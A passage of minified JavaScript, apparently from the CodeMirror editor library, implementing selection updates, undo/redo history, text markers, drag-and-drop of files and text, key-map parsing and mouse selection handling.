ve(a,b,c){we(a,b,c),he(a,a.sel,a.cm?a.cm.curOp.id:NaN,c)}function
we(a,b,c){(I(a,"beforeSelectionChange")||a.cm&&I(a.cm,"beforeSelectionChange"))&&(b=te(a,b,c)),xe(a,ze(a,b,c&&c.bias||(ia(b.primary().head,a.sel.primary().head)<0?-1:1),!0)),c&&!1===c.scroll||!a.cm||Yc(a.cm)}function
xe(a,b){b.equals(a.sel)||(a.sel=b,a.cm&&(a.cm.curOp.updateInput=1,a.cm.curOp.selectionChanged=!0,H(a.cm)),ub(a,"cursorActivity",a))}function
ye(a){xe(a,ze(a,a.sel,null,!1))}function ze(a,b,c,d){for(var
e,f=0;f<b.ranges.length;f++){var
g=b.ranges[f],h=b.ranges.length==a.sel.ranges.length&&a.sel.ranges[f],i=Be(a,g.anchor,h&&h.anchor,c,d),j=Be(a,g.head,h&&h.head,c,d);(e||i!=g.anchor||j!=g.head)&&(e||(e=b.ranges.slice(0,f)),e[f]=new
Dh(i,j))}return e?Od(a.cm,e,b.primIndex):b}function Ae(a,b,c,d,e){var
f=_(a,b.line);if(f.markedSpans)for(var
g=0;g<f.markedSpans.length;++g){var
h=f.markedSpans[g],i=h.marker,j="selectLeft"in
i?!i.selectLeft:i.inclusiveLeft,k="selectRight"in
i?!i.selectRight:i.inclusiveRight;if((null==h.from||(j?h.from<=b.ch:h.from<b.ch))&&(null==h.to||(k?h.to>=b.ch:h.to>b.ch))){if(e&&(F(i,"beforeCursorEnter"),i.explicitlyCleared)){if(f.markedSpans){--g;continue}break}if(!i.atomic)continue;if(c){var
l=i.find(d<0?1:-1),m=void
0;if((d<0?k:j)&&(l=Ce(a,l,-d,l&&l.line==b.line?f:null)),l&&l.line==b.line&&(m=ia(l,c))&&(d<0?m<0:m>0))return
Ae(a,l,b,d,e)}var
n=i.find(d<0?-1:1);return(d<0?j:k)&&(n=Ce(a,n,d,n.line==b.line?f:null)),n?Ae(a,n,b,d,e):null}}return
b}function Be(a,b,c,d,e){var
f=d||1,g=Ae(a,b,c,f,e)||!e&&Ae(a,b,c,f,!0)||Ae(a,b,c,-f,e)||!e&&Ae(a,b,c,-f,!0);return
g||(a.cantEdit=!0,ha(a.first,0))}function Ce(a,b,c,d){return
c<0&&0==b.ch?b.line>a.first?oa(a,ha(b.line-1)):null:c>0&&b.ch==(d||_(a,b.line)).text.length?b.line<a.first+a.size-1?ha(b.line+1,0):null:new
ha(b.line,b.ch+c)}function
De(a){a.setSelection(ha(a.firstLine(),0),ha(a.lastLine()),Sg)}function
Ee(a,b,c){var
d={canceled:!1,from:b.from,to:b.to,text:b.text,origin:b.origin,cancel:function(){return
d.canceled=!0}};return
c&&(d.update=function(b,c,e,f){b&&(d.from=oa(a,b)),c&&(d.to=oa(a,c)),e&&(d.text=e),void
0!==f&&(d.origin=f)}),F(a,"beforeChange",a,d),a.cm&&F(a.cm,"beforeChange",a.cm,d),d.canceled?(a.cm&&(a.cm.curOp.updateInput=2),null):{from:d.from,to:d.to,text:d.text,origin:d.origin}}function
Fe(a,b,c){if(a.cm){if(!a.cm.curOp)return
rd(a.cm,Fe)(a,b,c);if(a.cm.state.suppressEdits)return}if(!(I(a,"beforeChange")||a.cm&&I(a.cm,"beforeChange"))||(b=Ee(a,b,!0))){var
d=mh&&!c&&Ma(a,b.from,b.to);if(d)for(var
e=d.length-1;e>=0;--e)Ge(a,{from:d[e].from,to:d[e].to,text:e?[""]:b.text,origin:b.origin});else
Ge(a,b)}}function
Ge(a,b){if(1!=b.text.length||""!=b.text[0]||0!=ia(b.from,b.to)){var
c=Sd(a,b);fe(a,b,c,a.cm?a.cm.curOp.id:NaN),Je(a,b,c,Ka(a,b));var
d=[];Zd(a,(function(a,c){c||-1!=m(d,a.history)||(Oe(a.history,b),d.push(a.history)),Je(a,b,null,Ka(a,b))}))}}function
He(a,b,c){var d=a.cm&&a.cm.state.suppressEdits;if(!d||c){for(var
e,f=a.history,g=a.sel,h="undo"==b?f.done:f.undone,i="undo"==b?f.undone:f.done,j=0;j<h.length&&(e=h[j],c?!e.ranges||e.equals(a.sel):e.ranges);j++);if(j!=h.length){for(f.lastOrigin=f.lastSelOrigin=null;;){if(e=h.pop(),!e.ranges){if(d)return
void h.push(e);break}if(ie(e,i),c&&!e.equals(a.sel))return void
ve(a,e,{clearRedo:!1});g=e}var
k=[];ie(g,i),i.push({changes:k,generation:f.generation}),f.generation=e.generation||++f.maxGeneration;for(var
l=I(a,"beforeChange")||a.cm&&I(a.cm,"beforeChange"),n=e.changes.length-1;n>=0;--n){var
o=(function(c){var
d=e.changes[c];if(d.origin=b,l&&!Ee(a,d,!1))return
h.length=0,{};k.push(ce(a,d));var
f=c?Sd(a,d):p(h);Je(a,d,f,me(a,d)),!c&&a.cm&&a.cm.scrollIntoView({from:d.from,to:Qd(d)});var
g=[];Zd(a,(function(a,b){b||-1!=m(g,a.history)||(Oe(a.history,d),g.push(a.history)),Je(a,d,null,me(a,d))}))})(n);if(o)return
o.v}}}}function Ie(a,b){if(0!=b&&(a.first+=b,a.sel=new
Ch(q(a.sel.ranges,(function(a){return new
Dh(ha(a.anchor.line+b,a.anchor.ch),ha(a.head.line+b,a.head.ch))})),a.sel.primIndex),a.cm)){Ac(a.cm,a.first,a.first-b,b);for(var
c=a.cm.display,d=c.viewFrom;d<c.viewTo;d++)Bc(a.cm,d,"gutter")}}function
Je(a,b,c,d){if(a.cm&&!a.cm.curOp)return
rd(a.cm,Je)(a,b,c,d);if(b.to.line<a.first)return void
Ie(a,b.text.length-1-(b.to.line-b.from.line));if(!(b.from.line>a.lastLine())){if(b.from.line<a.first){var
e=b.text.length-1-(a.first-b.from.line);Ie(a,e),b={from:ha(a.first,0),to:ha(b.to.line+e,b.to.ch),text:[p(b.text)],origin:b.origin}}var
f=a.lastLine();b.to.line>f&&(b={from:b.from,to:ha(f,_(a,f).text.length),text:[b.text[0]],origin:b.origin}),b.removed=aa(a,b.from,b.to),c||(c=Sd(a,b)),a.cm?Ke(a.cm,b,d):Yd(a,b,d),we(a,c,Sg),a.cantEdit&&Be(a,ha(a.firstLine(),0))&&(a.cantEdit=!1)}}function
Ke(a,b,c){var
d=a.doc,e=a.display,f=b.from,g=b.to,h=!1,i=f.line;a.options.lineWrapping||(i=da(Xa(_(d,f.line))),d.iter(i,g.line+1,(function(a){if(a==e.maxLine)return
h=!0,!0}))),d.sel.contains(b.from,b.to)>-1&&H(a),Yd(d,b,c,wc(a)),a.options.lineWrapping||(d.iter(i,f.line+b.text.length,(function(a){var
b=db(a);b>e.maxLineLength&&(e.maxLine=a,e.maxLineLength=b,e.maxLineChanged=!0,h=!1)})),h&&(a.curOp.updateMaxLine=!0)),Ba(d,f.line),ud(a,400);var
j=b.text.length-(g.line-f.line)-1;b.full?Ac(a):f.line!=g.line||1!=b.text.length||Xd(a.doc,b)?Ac(a,f.line,g.line+1,j):Bc(a,f.line,"text");var
k=I(a,"changes"),l=I(a,"change");if(l||k){var
m={from:f,to:g,text:b.text,removed:b.removed,origin:b.origin};l&&ub(a,"change",a,m),k&&(a.curOp.changeObjs||(a.curOp.changeObjs=[])).push(m)}a.display.selForContextMenu=null}function
Le(a,b,c,d,e){var
f;d||(d=c),ia(d,c)<0&&(f=[d,c],c=f[0],d=f[1]),"string"==typeof
b&&(b=a.splitLines(b)),Fe(a,{from:c,to:d,text:b,origin:e})}function
Me(a,b,c,d){c<a.line?a.line+=d:b<a.line&&(a.line=b,a.ch=0)}function
Ne(a,b,c,d){for(var e=0;e<a.length;++e){var
f=a[e],g=!0;if(f.ranges){f.copied||(f=a[e]=f.deepCopy(),f.copied=!0);for(var
h=0;h<f.ranges.length;h++)Me(f.ranges[h].anchor,b,c,d),Me(f.ranges[h].head,b,c,d)}else{for(var
i=0;i<f.changes.length;++i){var
j=f.changes[i];if(c<j.from.line)j.from=ha(j.from.line+d,j.from.ch),j.to=ha(j.to.line+d,j.to.ch);else
if(b<=j.to.line){g=!1;break}}g||(a.splice(0,e+1),e=0)}}}function
Oe(a,b){var
c=b.from.line,d=b.to.line,e=b.text.length-(d-c)-1;Ne(a.done,c,d,e),Ne(a.undone,c,d,e)}function
Pe(a,b,c,d){var e=b,f=b;return"number"==typeof
b?f=_(a,na(a,b)):e=da(b),null==e?null:(d(f,e)&&a.cm&&Bc(a.cm,e,c),f)}function
Qe(a){this.lines=a,this.parent=null;for(var
b=0,c=0;c<a.length;++c)a[c].parent=this,b+=a[c].height;this.height=b}function
Re(a){this.children=a;for(var b=0,c=0,d=0;d<a.length;++d){var
e=a[d];b+=e.chunkSize(),c+=e.height,e.parent=this}this.size=b,this.height=c,this.parent=null}function
Se(a,b,c){cb(b)<(a.curOp&&a.curOp.scrollTop||a.doc.scrollTop)&&Xc(a,c)}function
Te(a,b,c,d){var e=new Eh(a,c,d),f=a.cm;return
f&&e.noHScroll&&(f.display.alignWidgets=!0),Pe(a,b,"widget",(function(b){var
c=b.widgets||(b.widgets=[]);if(null==e.insertAt?c.push(e):c.splice(Math.min(c.length-1,Math.max(0,e.insertAt)),0,e),e.line=b,f&&!ab(a,b)){var
d=cb(b)<a.scrollTop;ca(b,b.height+Ib(e)),d&&Xc(f,e.height),f.curOp.forceUpdate=!0}return!0})),f&&ub(f,"lineWidgetAdded",f,e,"number"==typeof
b?b:da(b)),e}function Ue(a,b,c,d,f){if(d&&d.shared)return
Ve(a,b,c,d,f);if(a.cm&&!a.cm.curOp)return
rd(a.cm,Ue)(a,b,c,d,f);var g=new
Gh(a,f),h=ia(b,c);if(d&&k(d,g,!1),h>0||0==h&&!1!==g.clearWhenEmpty)return
g;if(g.replacedWith&&(g.collapsed=!0,g.widgetNode=e("span",[g.replacedWith],"CodeMirror-widget"),d.handleMouseEvents||g.widgetNode.setAttribute("cm-ignore-events","true"),d.insertLeft&&(g.widgetNode.insertLeft=!0)),g.collapsed){if(Wa(a,b.line,b,c,g)||b.line!=c.line&&Wa(a,c.line,b,c,g))throw
new Error("Inserting collapsed marker partially overlapping an
existing
one");Da()}g.addToHistory&&fe(a,{from:b,to:c,origin:"markText"},a.sel,NaN);var
i,j=b.line,l=a.cm;if(a.iter(j,c.line+1,(function(a){l&&g.collapsed&&!l.options.lineWrapping&&Xa(a)==l.display.maxLine&&(i=!0),g.collapsed&&j!=b.line&&ca(a,0),Ha(a,new
Ea(g,j==b.line?b.ch:null,j==c.line?c.ch:null)),++j})),g.collapsed&&a.iter(b.line,c.line+1,(function(b){ab(a,b)&&ca(b,0)})),g.clearOnEnter&&_g(g,"beforeCursorEnter",(function(){return
g.clear()})),g.readOnly&&(Ca(),(a.history.done.length||a.history.undone.length)&&a.clearHistory()),g.collapsed&&(g.id=++Fh,g.atomic=!0),l){if(i&&(l.curOp.updateMaxLine=!0),g.collapsed)Ac(l,b.line,c.line+1);else
if(g.className||g.startStyle||g.endStyle||g.css||g.attributes||g.title)for(var
m=b.line;m<=c.line;m++)Bc(l,m,"text");g.atomic&&ye(l.doc),ub(l,"markerAdded",l,g)}return
g}function Ve(a,b,c,d,e){d=k(d),d.shared=!1;var
f=[Ue(a,b,c,d,e)],g=f[0],h=d.widgetNode;return
Zd(a,(function(a){h&&(d.widgetNode=h.cloneNode(!0)),f.push(Ue(a,oa(a,b),oa(a,c),d,e));for(var
i=0;i<a.linked.length;++i)if(a.linked[i].isParent)return;g=p(f)})),new
Hh(f,g)}function We(a){return
a.findMarks(ha(a.first,0),a.clipPos(ha(a.lastLine())),(function(a){return
a.parent}))}function Xe(a,b){for(var c=0;c<b.length;c++){var
d=b[c],e=d.find(),f=a.clipPos(e.from),g=a.clipPos(e.to);if(ia(f,g)){var
h=Ue(a,f,g,d.primary,d.primary.type);d.markers.push(h),h.parent=d}}}function
Ye(a){for(var b=0;b<a.length;b++)!(function(b){var
c=a[b],d=[c.primary.doc];Zd(c.primary.doc,(function(a){return
d.push(a)}));for(var e=0;e<c.markers.length;e++){var
f=c.markers[e];-1==m(d,f.doc)&&(f.parent=null,c.markers.splice(e--,1))}})(b)}function
Ze(a){var
b=this;if(af(b),!G(b,a)&&!Jb(b.display,a)){K(a),sg&&(Kh=+new
Date);var
c=yc(b,a,!0),d=a.dataTransfer.files;if(c&&!b.isReadOnly())if(d&&d.length&&window.FileReader&&window.File)for(var
e=d.length,f=Array(e),g=0,h=function(){++g==e&&rd(b,(function(){c=oa(b.doc,c);var
a={from:c,to:c,text:b.doc.splitLines(f.filter((function(a){return
null!=a})).join(b.doc.lineSeparator())),origin:"paste"};Fe(b.doc,a),ue(b.doc,Pd(oa(b.doc,c),oa(b.doc,Qd(a))))}))()},i=0;i<d.length;i++)!(function(a,c){if(b.options.allowDropFileTypes&&-1==m(b.options.allowDropFileTypes,a.type))return
void h();var d=new FileReader;d.onerror=function(){return
h()},d.onload=function(){var
a=d.result;if(/[\x00-\x08\x0e-\x1f]{2}/.test(a))return void
h();f[c]=a,h()},d.readAsText(a)})(d[i],i);else{if(b.state.draggingText&&b.doc.sel.contains(c)>-1)return
b.state.draggingText(a),void setTimeout((function(){return
b.display.input.focus()}),20);try{var
j=a.dataTransfer.getData("Text");if(j){var
k;if(b.state.draggingText&&!b.state.draggingText.copy&&(k=b.listSelections()),we(b.doc,Pd(c,c)),k)for(var
l=0;l<k.length;++l)Le(b.doc,"",k[l].anchor,k[l].head,"drag");b.replaceSelection(j,"around","paste"),b.display.input.focus()}}catch(a){}}}}function
$e(a,b){if(sg&&(!a.state.draggingText||+new Date-Kh<100))return
void
N(b);if(!G(a,b)&&!Jb(a.display,b)&&(b.dataTransfer.setData("Text",a.getSelection()),b.dataTransfer.effectAllowed="copyMove",b.dataTransfer.setDragImage&&!yg)){var
c=d("img",null,null,"position: fixed; left: 0; top:
0;");c.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",xg&&(c.width=c.height=1,a.display.wrapper.appendChild(c),c._top=c.offsetTop),b.dataTransfer.setDragImage(c,0,0),xg&&c.parentNode.removeChild(c)}}function
_e(a,b){var e=yc(a,b);if(e){var
f=document.createDocumentFragment();Ic(a,e,f),a.display.dragCursor||(a.display.dragCursor=d("div",null,"CodeMirror-cursors
CodeMirror-dragcursors"),a.display.lineSpace.insertBefore(a.display.dragCursor,a.display.cursorDiv)),c(a.display.dragCursor,f)}}function
af(a){a.display.dragCursor&&(a.display.lineSpace.removeChild(a.display.dragCursor),a.display.dragCursor=null)}function
bf(a){if(document.getElementsByClassName){for(var
b=document.getElementsByClassName("CodeMirror"),c=[],d=0;d<b.length;d++){var
e=b[d].CodeMirror;e&&c.push(e)}c.length&&c[0].operation((function(){for(var
b=0;b<c.length;b++)a(c[b])}))}}function cf(){Lh||(df(),Lh=!0)}function
df(){var
a;_g(window,"resize",(function(){null==a&&(a=setTimeout((function(){a=null,bf(ef)}),100))})),_g(window,"blur",(function(){return
bf(Pc)}))}function ef(a){var
b=a.display;b.cachedCharWidth=b.cachedTextHeight=b.cachedPaddingH=null,b.scrollbarsClipped=!1,a.setSize()}function
ff(a){var b=a.split(/-(?!$)/);a=b[b.length-1];for(var
c,d,e,f,g=0;g<b.length-1;g++){var
h=b[g];if(/^(cmd|meta|m)$/i.test(h))f=!0;else
if(/^a(lt)?$/i.test(h))c=!0;else
if(/^(c|ctrl|control)$/i.test(h))d=!0;else{if(!/^s(hift)?$/i.test(h))throw
new Error("Unrecognized modifier name: "+h);e=!0}}return
c&&(a="Alt-"+a),d&&(a="Ctrl-"+a),f&&(a="Cmd-"+a),e&&(a="Shift-"+a),a}function
gf(a){var b={};for(var c in a)if(a.hasOwnProperty(c)){var
d=a[c];if(/^(name|fallthrough|(de|at)tach)$/.test(c))continue;if("..."==d){delete
a[c];continue}for(var e=q(c.split("
"),ff),f=0;f<e.length;f++){var g=void 0,h=void
0;f==e.length-1?(h=e.join(" "),g=d):(h=e.slice(0,f+1).join("
"),g="...");var i=b[h];if(i){if(i!=g)throw new
Error("Inconsistent bindings for "+h)}else b[h]=g}delete
a[c]}for(var j in b)a[j]=b[j];return a}function hf(a,b,c,d){b=mf(b);var
e=b.call?b.call(a,d):b[a];if(!1===e)return"nothing";if("..."===e)return"multi";if(null!=e&&c(e))return"handled";if(b.fallthrough){if("[object
Array]"!=Object.prototype.toString.call(b.fallthrough))return
hf(a,b.fallthrough,c,d);for(var f=0;f<b.fallthrough.length;f++){var
g=hf(a,b.fallthrough[f],c,d);if(g)return g}}}function jf(a){var
b="string"==typeof
a?a:Mh[a.keyCode];return"Ctrl"==b||"Alt"==b||"Shift"==b||"Mod"==b}function
kf(a,b,c){var d=a;return
b.altKey&&"Alt"!=d&&(a="Alt-"+a),(Jg?b.metaKey:b.ctrlKey)&&"Ctrl"!=d&&(a="Ctrl-"+a),(Jg?b.ctrlKey:b.metaKey)&&"Cmd"!=d&&(a="Cmd-"+a),!c&&b.shiftKey&&"Shift"!=d&&(a="Shift-"+a),a}function
lf(a,b){if(xg&&34==a.keyCode&&a.char)return!1;var
c=Mh[a.keyCode];return
null!=c&&!a.altGraphKey&&(3==a.keyCode&&a.code&&(c=a.code),kf(c,a,b))}function
mf(a){return"string"==typeof a?Qh[a]:a}function nf(a,b){for(var
c=a.doc.sel.ranges,d=[],e=0;e<c.length;e++){for(var
f=b(c[e]);d.length&&ia(f.from,p(d).to)<=0;){var
g=d.pop();if(ia(g.from,f.from)<0){f.from=g.from;break}}d.push(f)}qd(a,(function(){for(var
b=d.length-1;b>=0;b--)Le(a.doc,"",d[b].from,d[b].to,"+delete");Yc(a)}))}function
of(a,b,c){var d=y(a.text,b+c,c);return
d<0||d>a.text.length?null:d}function pf(a,b,c){var
d=of(a,b.ch,c);return null==d?null:new
ha(b.line,d,c<0?"after":"before")}function
qf(a,b,c,d,e){if(a){"rtl"==b.doc.direction&&(e=-e);var
f=C(c,b.doc.direction);if(f){var
g,h=e<0?p(f):f[0],i=e<0==(1==h.level),j=i?"after":"before";if(h.level>0||"rtl"==b.doc.direction){var
k=Vb(b,c);g=e<0?c.text.length-1:0;var
l=Wb(b,k,g).top;g=z((function(a){return
Wb(b,k,a).top==l}),e<0==(1==h.level)?h.from:h.to-1,g),"before"==j&&(g=of(c,g,1))}else
g=e<0?h.to:h.from;return new ha(d,g,j)}}return new
ha(d,e<0?c.text.length:0,e<0?"before":"after")}function
rf(a,b,c,d){var e=C(b,a.doc.direction);if(!e)return
pf(b,c,d);c.ch>=b.text.length?(c.ch=b.text.length,c.sticky="before"):c.ch<=0&&(c.ch=0,c.sticky="after");var
f=B(e,c.ch,c.sticky),g=e[f];if("ltr"==a.doc.direction&&g.level%2==0&&(d>0?g.to>c.ch:g.from<c.ch))return
pf(b,c,d);var h,i=function(a,c){return of(b,a instanceof
ha?a.ch:a,c)},j=function(c){return
a.options.lineWrapping?(h=h||Vb(a,b),nc(a,b,h,c)):{begin:0,end:b.text.length}},k=j("before"==c.sticky?i(c,-1):c.ch);if("rtl"==a.doc.direction||1==g.level){var
l=1==g.level==d<0,m=i(c,l?1:-1);if(null!=m&&(l?m<=g.to&&m<=k.end:m>=g.from&&m>=k.begin)){var
n=l?"before":"after";return new ha(c.line,m,n)}}var
o=function(a,b,d){for(var f=function(a,b){return b?new
ha(c.line,i(a,1),"before"):new
ha(c.line,a,"after")};a>=0&&a<e.length;a+=b){var
g=e[a],h=b>0==(1!=g.level),j=h?d.begin:i(d.end,-1);if(g.from<=j&&j<g.to)return
f(j,h);if(j=h?g.from:i(g.to,-1),d.begin<=j&&j<d.end)return
f(j,h)}},p=o(f+d,d,k);if(p)return p;var q=d>0?k.end:i(k.begin,-1);return
null==q||d>0&&q==b.text.length||!(p=o(d>0?0:e.length-1,d,j(q)))?null:p}function
sf(a,b){var c=_(a.doc,b),d=Xa(c);return
d!=c&&(b=da(d)),qf(!0,a,d,b,1)}function tf(a,b){var
c=_(a.doc,b),d=Ya(c);return
d!=c&&(b=da(d)),qf(!0,a,c,b,-1)}function uf(a,b){var
c=sf(a,b.line),d=_(a.doc,c.line),e=C(d,a.doc.direction);if(!e||0==e[0].level){var
f=Math.max(c.ch,d.text.search(/\S/)),g=b.line==c.line&&b.ch<=f&&b.ch;return
ha(c.line,g?0:f,c.sticky)}return c}function
vf(a,b,c){if("string"==typeof
b&&!(b=Rh[b]))return!1;a.display.input.ensurePolled();var
d=a.display.shift,e=!1;try{a.isReadOnly()&&(a.state.suppressEdits=!0),c&&(a.display.shift=!1),e=b(a)!=Rg}finally{a.display.shift=d,a.state.suppressEdits=!1}return
e}function wf(a,b,c){for(var d=0;d<a.state.keyMaps.length;d++){var
e=hf(b,a.state.keyMaps[d],c,a);if(e)return e}return
a.options.extraKeys&&hf(b,a.options.extraKeys,c,a)||hf(b,a.options.keyMap,c,a)}function
xf(a,b,c,d){var
e=a.state.keySeq;if(e){if(jf(b))return"handled";if(/\'$/.test(b)?a.state.keySeq=null:Sh.set(50,(function(){a.state.keySeq==e&&(a.state.keySeq=null,a.display.input.reset())})),yf(a,e+"
"+b,c,d))return!0}return yf(a,b,c,d)}function yf(a,b,c,d){var
e=wf(a,b,d);return"multi"==e&&(a.state.keySeq=b),"handled"==e&&ub(a,"keyHandled",a,b,c),"handled"!=e&&"multi"!=e||(K(c),Lc(a)),!!e}function
zf(a,b){var
c=lf(b,!0);return!!c&&(b.shiftKey&&!a.state.keySeq?xf(a,"Shift-"+c,b,(function(b){return
vf(a,b,!0)}))||xf(a,c,b,(function(b){if("string"==typeof
b?/^go[A-Z]/.test(b):b.motion)return
vf(a,b)})):xf(a,c,b,(function(b){return vf(a,b)})))}function
Af(a,b,c){return
xf(a,"'"+c+"'",b,(function(b){return
vf(a,b,!0)}))}function Bf(a){var
b=this;if(!(a.target&&a.target!=b.display.input.getField()||(b.curOp.focus=g(),G(b,a)))){sg&&tg<11&&27==a.keyCode&&(a.returnValue=!1);var
c=a.keyCode;b.display.shift=16==c||a.shiftKey;var
d=zf(b,a);xg&&(Th=d?c:null,!d&&88==c&&!dh&&(Eg?a.metaKey:a.ctrlKey)&&b.replaceSelection("",null,"cut")),og&&!Eg&&!d&&46==c&&a.shiftKey&&!a.ctrlKey&&document.execCommand&&document.execCommand("cut"),18!=c||/\bCodeMirror-crosshair\b/.test(b.display.lineDiv.className)||Cf(b)}}function
Cf(a){function
b(a){18!=a.keyCode&&a.altKey||(Lg(c,"CodeMirror-crosshair"),E(document,"keyup",b),E(document,"mouseover",b))}var
c=a.display.lineDiv;h(c,"CodeMirror-crosshair"),_g(document,"keyup",b),_g(document,"mouseover",b)}function
Df(a){16==a.keyCode&&(this.doc.sel.shift=!1),G(this,a)}function
Ef(a){var
b=this;if(!(a.target&&a.target!=b.display.input.getField()||Jb(b.display,a)||G(b,a)||a.ctrlKey&&!a.altKey||Eg&&a.metaKey)){var
c=a.keyCode,d=a.charCode;if(xg&&c==Th)return Th=null,void
K(a);if(!xg||a.which&&!(a.which<10)||!zf(b,a)){var
e=String.fromCharCode(null==d?c:d);"\b"!=e&&(Af(b,a,e)||b.display.input.onKeyPress(a))}}}function
Ff(a,b){var c=+new Date;return
Wh&&Wh.compare(c,a,b)?(Vh=Wh=null,"triple"):Vh&&Vh.compare(c,a,b)?(Wh=new
Uh(c,a,b),Vh=null,"double"):(Vh=new
Uh(c,a,b),Wh=null,"single")}function Gf(a){var
b=this,c=b.display;if(!(G(b,a)||c.activeTouch&&c.input.supportsTouch())){if(c.input.ensurePolled(),c.shift=a.shiftKey,Jb(c,a))return
void(ug||(c.scroller.draggable=!1,setTimeout((function(){return
c.scroller.draggable=!0}),100)));if(!Pf(b,a)){var
d=yc(b,a),e=P(a),f=d?Ff(d,e):"single";window.focus(),1==e&&b.state.selectingText&&b.state.selectingText(a),d&&Hf(b,e,d,f,a)||(1==e?d?Jf(b,d,f,a):O(a)==c.scroller&&K(a):2==e?(d&&pe(b.doc,d),setTimeout((function(){return
c.input.focus()}),20)):3==e&&(Kg?b.display.input.onContextMenu(a):Nc(b)))}}}function
Hf(a,b,c,d,e){var
f="Click";return"double"==d?f="Double"+f:"triple"==d&&(f="Triple"+f),f=(1==b?"Left":2==b?"Middle":"Right")+f,xf(a,kf(f,e),e,(function(b){if("string"==typeof
b&&(b=Rh[b]),!b)return!1;var
d=!1;try{a.isReadOnly()&&(a.state.suppressEdits=!0),d=b(a,c)!=Rg}finally{a.state.suppressEdits=!1}return
d}))}function If(a,b,c){var
d=a.getOption("configureMouse"),e=d?d(a,b,c):{};if(null==e.unit){var
f=Fg?c.shiftKey&&c.metaKey:c.altKey;e.unit=f?"rectangle":"single"==b?"char":"double"==b?"word":"line"}return(null==e.extend||a.doc.extend)&&(e.extend=a.doc.extend||c.shiftKey),null==e.addNew&&(e.addNew=Eg?c.metaKey:c.ctrlKey),null==e.moveOnDrag&&(e.moveOnDrag=!(Eg?c.altKey:c.ctrlKey)),e}function
Jf(a,b,c,d){sg?setTimeout(j(Mc,a),0):a.curOp.focus=g();var
e,f=If(a,c,d),h=a.doc.sel;a.options.dragDrop&&ah&&!a.isReadOnly()&&"single"==c&&(e=h.contains(b))>-1&&(ia((e=h.ranges[e]).from(),b)<0||b.xRel>0)&&(ia(e.to(),b)>0||b.xRel<0)?Kf(a,d,b,f):Mf(a,d,b,f)}function
Kf(a,b,c,d){var
e=a.display,f=!1,g=rd(a,(function(b){ug&&(e.scroller.draggable=!1),a.state.draggingText=!1,E(e.wrapper.ownerDocument,"mouseup",g),E(e.wrapper.ownerDocument,"mousemove",h),E(e.scroller,"dragstart",i),E(e.scroller,"drop",g),f||(K(b),d.addNew||pe(a.doc,c,null,null,d.extend),ug&&!yg||sg&&9==tg?setTimeout((function(){e.wrapper.ownerDocument.body.focus({preventScroll:!0}),e.input.focus()}),20):e.input.focus())})),h=function(a){f=f||Math.abs(b.clientX-a.clientX)+Math.abs(b.clientY-a.clientY)>=10},i=function(){return
f=!0};ug&&(e.scroller.draggable=!0),a.state.draggingText=g,g.copy=!d.moveOnDrag,e.scroller.dragDrop&&e.scroller.dragDrop(),_g(e.wrapper.ownerDocument,"mouseup",g),_g(e.wrapper.ownerDocument,"mousemove",h),_g(e.scroller,"dragstart",i),_g(e.scroller,"drop",g),Nc(a),setTimeout((function(){return
e.input.focus()}),20)}function Lf(a,b,c){if("char"==c)return new
Dh(b,b);if("word"==c)return
a.findWordAt(b);if("line"==c)return new
Dh(ha(b.line,0),oa(a.doc,ha(b.line+1,0)));var d=c(a,b);return new
Dh(d.from,d.to)}function Mf(a,b,c,d){function
e(b){if(0!=ia(r,b))if(r=b,"rectangle"==d.unit){for(var
e=[],f=a.options.tabSize,g=l(_(j,c.line).text,c.ch,f),h=l(_(j,b.line).text,b.ch,f),i=Math.min(g,h),p=Math.max(g,h),q=Math.min(c.line,b.line),s=Math.min(a.lastLine(),Math.max(c.line,b.line));q<=s;q++){var
t=_(j,q).text,u=n(t,i,f);i==p?e.push(new
Dh(ha(q,u),ha(q,u))):t.length>u&&e.push(new
Dh(ha(q,u),ha(q,n(t,p,f))))}e.length||e.push(new
Dh(c,c)),ve(j,Od(a,o.ranges.slice(0,m).concat(e),m),{origin:"*mouse",scroll:!1}),a.scrollIntoView(b)}else{var
v,w=k,x=Lf(a,b,d.unit),y=w.anchor;ia(x.anchor,y)>0?(v=x.head,y=ma(w.from(),x.anchor)):(v=x.anchor,y=la(w.to(),x.head));var
z=o.ranges.slice(0);z[m]=Nf(a,new
Dh(oa(j,y),v)),ve(j,Od(a,z,m),Tg)}}function f(b){var
c=++t,h=yc(a,b,!0,"rectangle"==d.unit);if(h)if(0!=ia(h,r)){a.curOp.focus=g(),e(h);var
k=Sc(i,j);(h.line>=k.to||h.line<k.from)&&setTimeout(rd(a,(function(){t==c&&f(b)})),150)}else{var
l=b.clientY<s.top?-20:b.clientY>s.bottom?20:0;l&&setTimeout(rd(a,(function(){t==c&&(i.scroller.scrollTop+=l,f(b))})),50)}}function
h(b){a.state.selectingText=!1,t=1/0,b&&(K(b),i.input.focus()),E(i.wrapper.ownerDocument,"mousemove",u),E(i.wrapper.ownerDocument,"mouseup",v),j.history.lastSelOrigin=null}var
i=a.display,j=a.doc;K(b);var
k,m,o=j.sel,p=o.ranges;if(d.addNew&&!d.extend?(m=j.sel.contains(c),k=m>-1?p[m]:new
Dh(c,c)):(k=j.sel.primary(),m=j.sel.primIndex),"rectangle"==d.unit)d.addNew||(k=new
Dh(c,c)),c=yc(a,b,!0,!0),m=-1;else{var
q=Lf(a,c,d.unit);k=d.extend?oe(k,q.anchor,q.head,d.extend):q}d.addNew?-1==m?(m=p.length,ve(j,Od(a,p.concat([k]),m),{scroll:!1,origin:"*mouse"})):p.length>1&&p[m].empty()&&"char"==d.unit&&!d.extend?(ve(j,Od(a,p.slice(0,m).concat(p.slice(m+1)),0),{scroll:!1,origin:"*mouse"}),o=j.sel):re(j,m,k,Tg):(m=0,ve(j,new
Ch([k],0),Tg),o=j.sel);var
r=c,s=i.wrapper.getBoundingClientRect(),t=0,u=rd(a,(function(a){0!==a.buttons&&P(a)?f(a):h(a)})),v=rd(a,h);a.state.selectingText=v,_g(i.wrapper.ownerDocument,"mousemove",u),_g(i.wrapper.ownerDocument,"mouseup",v)}function
Nf(a,b){var
c=b.anchor,d=b.head,e=_(a.doc,c.line);if(0==ia(c,d)&&c.sticky==d.sticky)return
b;var f=C(e);if(!f)return b;var
g=B(f,c.ch,c.sticky),h=f[g];if(h.from!=c.ch&&h.to!=c.ch)return
b;var i=g+(h.from==c.ch==(1!=h.level)?0:1);if(0==i||i==f.length)return
b;var
j;if(d.line!=c.line)j=(d.line-c.line)*("ltr"==a.doc.direction?1:-1)>0;else{var
